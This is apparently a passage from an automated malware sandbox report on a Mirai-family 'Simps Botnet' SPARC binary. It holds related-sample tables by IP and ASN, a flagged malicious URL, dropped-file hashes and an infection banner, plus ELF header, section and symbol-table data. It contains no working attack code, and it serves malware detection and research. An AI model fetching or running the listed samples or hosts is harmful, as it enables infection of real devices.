	x86.elf	Get hash	malicious	Unknown	Browse
	ngwa5.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Mirai	Browse
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse
	gmpsl.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse
	vcimanagement.x86.elf	Get hash	malicious	Mirai	Browse
	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse
212.64.199.97	mipsel.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	powerpc.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	mips.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	ARMV6L.elf	Get hash	malicious	Unknown	Browse
	MIPS.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	powerpc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	powerpc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	x86_64.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
ATLAS-ASTR	mipsel.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.64.199.97
	powerpc.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	i686.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	doc_82555.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154
	commenti_19265309.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154
	DETAILS-0203.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154
	Message-0203.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154
	Js07W5pNr7	Get hash	malicious	Mirai	Browse	212.64.220.77
	TOqM7SNQz6	Get hash	malicious	Mirai	Browse	212.64.207.82
AMAZON-02US	powerpc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	x86.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	x86_64.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	MIPS.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	MIPSEL.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exe	Get hash	malicious	Remcos	Browse	52.217.199.81
	I686.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	x86_64.elf	Get hash	malicious	Gafgyt, Mirai	Browse	157.175.218.211
	1.elf	Get hash	malicious	Unknown	Browse	52.221.18.147
	http://4.nscqn.dashboradcortx.xyz/4hbVgI3060FFjU163rczgakrldw288HJUBSXEIQRWLNTA425583MYLP8076x12	Get hash	malicious	Unknown	Browse	35.161.242.225

Process:	/tmp/sparc.elf
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	149
Entropy (8bit):	5.041576920829991
Encrypted:	false
SSDEEP:	3:xRbQRAZvbFhSZWFBAK8dAuFUJ4gnicMMIVDt8TovZ2XCRA5Adcovn:xR0qvbFhSZW8K8djmHicNoDt8kBSKBcy
MD5:	68CEF17158AB7C78815F4829CA182DF0
SHA1:	1964BD86E351AE38341975A5A35C2A606093220E
SHA-256:	8CB5D165724D5990B6C6161D24AD22E55328C2CF72E46B58104EFE0CC07E82E3
SHA-512:	C39117FAEEB6103E531FDBDD517BB259A1E21E2C0F67B203D8AA8787F5D11F3CC090BCE9E951146C7CB163E1F36F15C3AEAF82CCE953DF715CD59BE7846206FA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Thank You For Your Services...This Device Has successfully Been Infected..With Malware By Simps Botnet ;)..\| instagram: @ur0a_ \| Discord: UR0A#2199..

/tmp/qemu-open.BYN6pd (deleted)

Download File

Process:	/tmp/sparc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	230
Entropy (8bit):	3.709552666863289
Encrypted:	false
SSDEEP:	6:iekrEcvwAsE5KlwSd4pzKaV6Lpms/a/1VCxGF:ur+m5MwSdIKaV6L1adVRF
MD5:	2E667F43AE18CD1FE3C108641708A82C
SHA1:	12B90DE2DA0FBCFE66F3D6130905E56C8D6A68D3
SHA-256:	6F721492E7A337C5B498A8F55F5EB7AC745AFF716D0B5B08EFF2C1B6B250F983
SHA-512:	D2A0EE2509154EC1098994F38BE172F98F4150399C534A04D5C675D7C05630802225019F19344CC9070C576BC465A4FEB382AC7712DE6BF25E9244B54A9DB830
Malicious:	false
Reputation:	high, very likely benign file
Preview:	Iface.Destination.Gateway .Flags.RefCnt.Use.Metric.Mask..MTU.Window.IRTT .ens160.00000000.c0a80201.0003.0.0.0.00000000.0.0.0.ens160.c0a80200.00000000.0001.0.0.0.ffffff00.0.0.0.

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.98303202182467
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sparc.elf
File size:	226'490 bytes
MD5:	3f38be7bcf8c6d8141295dac00881d95
SHA1:	186fa636156562b86e1027db0c8ad4dac6de89e8
SHA256:	e6e942b13233a22a3c3a2e56342a10547df325e0852748f3a98d72e3b89705e9
SHA512:	e31953973be0f396140c0c22d6d3af22ee9dfcf6f7d8e3ba4687a21e0556251b67e512cf56f9f809eb4b5ecd78d04137558d041e900e47b02b84514c371f54f5
SSDEEP:	3072:X8MppabWdseN8ZD+QsEEB/NeqazlPnvx8aBHWESvlVaQWM:s8EbG+EQyBI5zlPnBBHWESvlVaQWM
TLSH:	A224193B2B171F23C1D5143215E31371BBB9D69434BC8787A9A05DBC2F1AA94389A7CE
File Content Preview:	.ELF...........................4...\.....4. ...(.......................d...d.............. ... ... .......k.........dt.Q................................@..(....@.u.................#.....c...`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	201052
Section Header Size:	40
Number of Section Headers:	24
Header String Table Index:	21

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x100b0	0xb0	0x1d7f0	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x2d8a0	0x1d8a0	0x14	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x2d8b8	0x1d8b8	0x3ea8	0x0	0x2	A	0	0	8
.eh_frame	PROGBITS	0x31760	0x21760	0x4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x42000	0x22000	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x42008	0x22008	0x8	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x42010	0x22010	0x4	0x0	0x3	WA	0	0	4
.data	PROGBITS	0x42018	0x22018	0x3a4	0x0	0x3	WA	0	0	8
.bss	NOBITS	0x423c0	0x223bc	0x6830	0x0	0x3	WA	0	0	8
.comment	PROGBITS	0x0	0x223bc	0xcf0	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x230ac	0x1a0	0x0	0x0		0	0	1
.debug_pubnames	PROGBITS	0x0	0x2324c	0xa2c	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x23c78	0x89e3	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x2c65b	0x1223	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x2d87e	0x2001	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x2f880	0x9d0	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x30250	0x286	0x0	0x0		0	0	1
.debug_loc	PROGBITS	0x0	0x304d6	0xb90	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x31066	0x18	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x3107e	0xdc	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x3151c	0x3580	0x10	0x0		23	326	4
.strtab	STRTAB	0x0	0x34a9c	0x2a1e	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x21764	0x21764	5.8693	0x5	R E	0x10000	.init .text .fini .rodata .eh_frame
LOAD	0x22000	0x42000	0x42000	0x3bc	0x6bf0	2.7559	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x10094	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x100b0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x2d8a0	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x2d8b8	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x31760	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x42000	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x42008	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x42010	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x42018	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x423c0	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
.rem	.symtab	0x23284	44	FUNC	<unknown>	DEFAULT	2
.udiv	.symtab	0x23264	20	FUNC	<unknown>	DEFAULT	2
.umul	.symtab	0x23278	12	FUNC	<unknown>	DEFAULT	2
.urem	.symtab	0x23244	32	FUNC	<unknown>	DEFAULT	2
LOCAL_ADDR	.symtab	0x48770	4	OBJECT	<unknown>	DEFAULT	10
Q	.symtab	0x424d0	16384	OBJECT	<unknown>	DEFAULT	10
Simpsicsock	.symtab	0x424a8	4	OBJECT	<unknown>	DEFAULT	10
Simpsserv	.symtab	0x42024	4	OBJECT	<unknown>	DEFAULT	9
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x42004	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x42000	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x42054	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x2fff0	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x42380	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x312fa	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x4205c	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x302f0	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x4200c	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x42008	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x31760	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x31760	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x42054	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_b_data	.symtab	0x2fff0	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_tolower	.symtab	0x42380	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower_data	.symtab	0x312fa	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_toupper	.symtab	0x4205c	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper_data	.symtab	0x302f0	768	OBJECT	<unknown>	HIDDEN	4
__GI___ctype_b	.symtab	0x42058	4	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x42384	4	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x42060	4	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x23aa8	12	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	HIDDEN	2
__GI___fputc_unlocked	.symtab	0x2548c	292	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x27bf4	32	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x29f8c	12	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x232b0	136	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl64	.symtab	0x23338	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x23590	120	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x29530	132	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x29608	104	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x27c14	284	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x2339c	64	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x2bd94	316	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x290e4	24	FUNC	<unknown>	HIDDEN	2
__GI_atol	.symtab	0x290e4	24	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x281e0	36	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x2beec	60	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x233dc	68	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x23420	68	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x23874	136	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x28204	76	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x48744	4	OBJECT	<unknown>	HIDDEN	10
__GI_exit	.symtab	0x292bc	128	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x23aec	324	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x232b0	136	FUNC	<unknown>	HIDDEN	2
__GI_fcntl64	.symtab	0x23338	100	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x252e8	420	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x2c228	100	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x2c28c	192	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x23c30	24	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x23210	52	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x255b0	60	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x2bfc4	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x2bfe8	272	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x29924	104	FUNC	<unknown>	HIDDEN	2
__GI_fwrite	.symtab	0x2516c	104	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x255ec	176	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x29b34	64	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x29b74	64	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x29bb4	64	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x27ea4	60	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x27ee0	768	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x23464	64	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x28250	76	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x29bf4	64	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x48748	4	OBJECT	<unknown>	HIDDEN	10
__GI_inet_addr	.symtab	0x27e7c	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x2b1bc	220	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x2ca30	684	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x2c66c	544	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x29000	228	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x234e4	100	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x27dc4	32	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x23548	72	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x282f0	28	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x29c34	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x2adb0	280	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x25cc8	4212	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x256e4	1508	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x2aec8	32	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x2aee8	272	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x26d70	416	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x29ca4	72	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x23590	120	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x238fc	260	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x2bf78	76	FUNC	<unknown>	HIDDEN	2
__GI_putc_unlocked	.symtab	0x2548c	292	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x2d390	24	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x28c00	80	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x28e80	156	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x2c34c	204	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x23620	76	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x23a00	168	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x2366c	76	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x2830c	32	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x2832c	88	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x29cec	84	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x236b8	84	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x28384	32	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x283a4	88	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x2370c	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x283fc	44	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x28d5c	292	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x2bcf4	160	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x28474	188	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x29d40	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x2933c	428	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x28428	76	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x23cd4	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x28f1c	228	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x2d514	92	FUNC	<unknown>	HIDDEN	2
__GI_strcasestr	.symtab	0x27d30	124	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x26f84	524	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x272e4	648	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x272e4	648	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x275d4	804	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x2c568	56	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x27960	120	FUNC	<unknown>	HIDDEN	2
__GI_strncat	.symtab	0x2c418	224	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x2aff8	248	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x279d8	252	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x2b16c	80	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x27190	192	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x2c4f8	112	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x27ad4	288	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x27dac	24	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x2b0f0	124	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x290fc	20	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x27de4	112	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x2374c	72	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x29dcc	72	FUNC	<unknown>	HIDDEN	2
__GI_tolower	.symtab	0x2d3a8	36	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x23850	36	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x23794	68	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x23d08	156	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x29e14	80	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x237d8	20	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x29f98	72	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x29ffc	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x29fe0	28	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x237ec	76	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x42010	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x42010	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x48738	4	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x42364	24	OBJECT	<unknown>	DEFAULT	9
__bsd_signal	.symtab	0x28474	188	FUNC	<unknown>	HIDDEN	2
__bss_start	.symtab	0x423bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x295c4	68	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x42058	4	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x42384	4	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x42060	4	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x4876c	4	OBJECT	<unknown>	HIDDEN	10
__data_start	.symtab	0x42020	0	NOTYPE	<unknown>	DEFAULT	9
__decode_answer	.symtab	0x2cf64	240	FUNC	<unknown>	HIDDEN	2
__decode_dotted	.symtab	0x2d614	196	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x2cdf8	208	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x2b298	1852	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x2d858	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x100b0	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x42018	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x2d570	164	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x2ccdc	284	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x2cec8	120	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x48730	4	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x23aa8	12	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x48728	4	OBJECT	<unknown>	HIDDEN	10
__fgetc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fputc_unlocked	.symtab	0x2548c	292	FUNC	<unknown>	DEFAULT	2
__get_hosts_byname_r	.symtab	0x2bcbc	56	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x2998c	136	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x29a14	288	FUNC	<unknown>	HIDDEN	2
__glibc_strerror_r	.symtab	0x27bf4	32	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x29f8c	12	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__heap_alloc	.symtab	0x28960	160	FUNC	<unknown>	DEFAULT	2
__heap_alloc_at	.symtab	0x28a00	156	FUNC	<unknown>	DEFAULT	2
__heap_free	.symtab	0x28ae4	268	FUNC	<unknown>	DEFAULT	2
__heap_link_free_area	.symtab	0x28a9c	48	FUNC	<unknown>	DEFAULT	2
__heap_link_free_area_after	.symtab	0x28acc	24	FUNC	<unknown>	DEFAULT	2
